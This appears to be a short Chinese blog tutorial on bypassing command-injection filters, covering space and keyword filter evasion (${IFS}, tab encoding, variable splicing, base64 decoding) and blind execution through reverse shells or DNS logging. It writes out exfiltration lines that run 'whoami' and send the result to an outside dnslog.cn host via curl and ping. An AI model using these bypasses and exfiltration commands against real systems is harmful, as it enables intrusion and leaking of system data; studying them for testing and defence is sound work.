命令执行绕过

开放人员在开发的过程中,为了避免命令执行漏洞,可能会过滤一些命令或者比较常见的攻击payload。攻击者会通过多种方式绕过过滤规则。

绕过空格过滤

1. ${IFS}绕过
$IFS是shell的特殊环境变量,是Linux下的内部域分分隔符。$IFS中存储的值可以是空格、制表符、换行符或者其他自定义符号。空格过滤可以用${IFS}绕过
img
2. $IFS$9绕过
img
3. 制表符绕过
%09是制表符的URL编码,可以通过%09来替代空格,绕过空格过滤。
4. {}绕过
空格过滤可以用{}绕过
img
5. <绕过

绕过关键字过滤

1.变量拼接绕过
Linux支持变量赋值,可以通过变量拼接来绕过过滤规则,如:cat可以替换a=c;b=at;$a$b
2. 空变量绕过
img
3. 系统变量绕过
${SHELLOPTS}是系统变量,可以利用系统变量的字符拼接绕过过滤
img
5. Base64编码绕过
例如:id命令的Base64编码为aWQ,再利用base64 -d对aWQ进行解码,这样就绕过过滤,并且正常执行了命令

`echo "aWQ=="|base64 -d`

无回显的命令执行

如果存在命令执行漏洞,但是没有回显,可以通过shell反弹的方式将shell反弹到vps上,然后通过vps执行命令。如果无法反弹shell,也可以通过DNS管道解析的方式获取命令的执行结果。
在Linux系统中,以下两个目录都可以获取用户名

  1. 在http://dnslog.cn/获取域名
    img
  2. 执行命令
curl 4t3ykd.dnslog.cn/`whoami`
ping -c 1 `whoami`.4t3ykd.dnslog.cn

img

posted @ 2024-02-02 08:54  kalixcn  阅读(361)  评论(0编辑  收藏  举报